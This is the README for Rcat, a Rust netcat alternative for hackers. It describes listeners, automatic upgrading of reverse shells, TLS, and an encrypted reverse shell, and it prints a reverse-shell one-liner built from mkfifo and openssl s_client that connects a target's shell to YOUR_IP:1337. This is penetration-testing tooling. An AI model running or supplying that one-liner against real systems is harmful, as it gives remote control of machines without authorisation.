Rcat

A better netcat for hackers

Overview

Rcat is a modern netcat written in Rust, packed with features for hackers.

Here we listen on port tcp:9001, and receive an HTTP request made with curl.

Install

Static binaries

We provide binaries for:

• Linux amd64
• Linux arm64
• Windows (amd64)
• Mac OS (arm64)

Build from source

git clone git@github.com:0xfalafel/rcat.git
cargo install --path .

Features

Familiar syntax

Rcat keeps a syntax similar to netcat. You already know how to use it.

• -l to listen.
• -u for udp.

Shell Upgrade

Rcat can upgrade your shells with the --pwn option.
With an upgraded shell, you can use shortcuts like Ctrl + C, clear the terminal with clear or Ctrl + L, etc. It's like having an SSH connection. There is no need to type 7 commands each time you obtain a reverse shell.

Here the commands stty rows 22 cols 65 and export TERM=xterm-256colors are typed automatically when the connection is received.

Shell Upgrade Windows

Windows is also supported by the shell upgrade feature.

Resize

Unless you use the -R option, the remote terminal will automatically be resized when you change the size of your terminal.

(Rcat sends a SIGTSTP, resizes the terminal with the stty command then uses fg to restore the application running.)

In this clip we run htop on the target machine, and the reverse shell is automatically resized.

TLS support

Support of TLS with -t or --tls.
Here we do an HTTPS request. We use -t to establish a TLS connection, and -c to replace newlines (\n) with CRLF newlines (\r\n) as required by the HTTP protocol.

Encrypted Reverse shell

With TLS support, let's see how we can do an TLS encrypted reverse shell. Without installing any new tools on the target.

If you have a signed certificate (with let's encrypt for example), you can use the --key and --cert options to use it.

TLS listener

But for now let's use a self-signed certificate:

> rcat -l 1337 --self-signed --pwn
Listening on 0.0.0.0:1337 (tcp/tls) with a self-signed certificate

Reverse Shell

On a linux target, you can use the following command to connect to your listener.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1| openssl s_client -connect YOUR_IP:1337 >/tmp/f

Acknowledgment

The shell upgrade feature for windows is taken from the ConPtyShell project.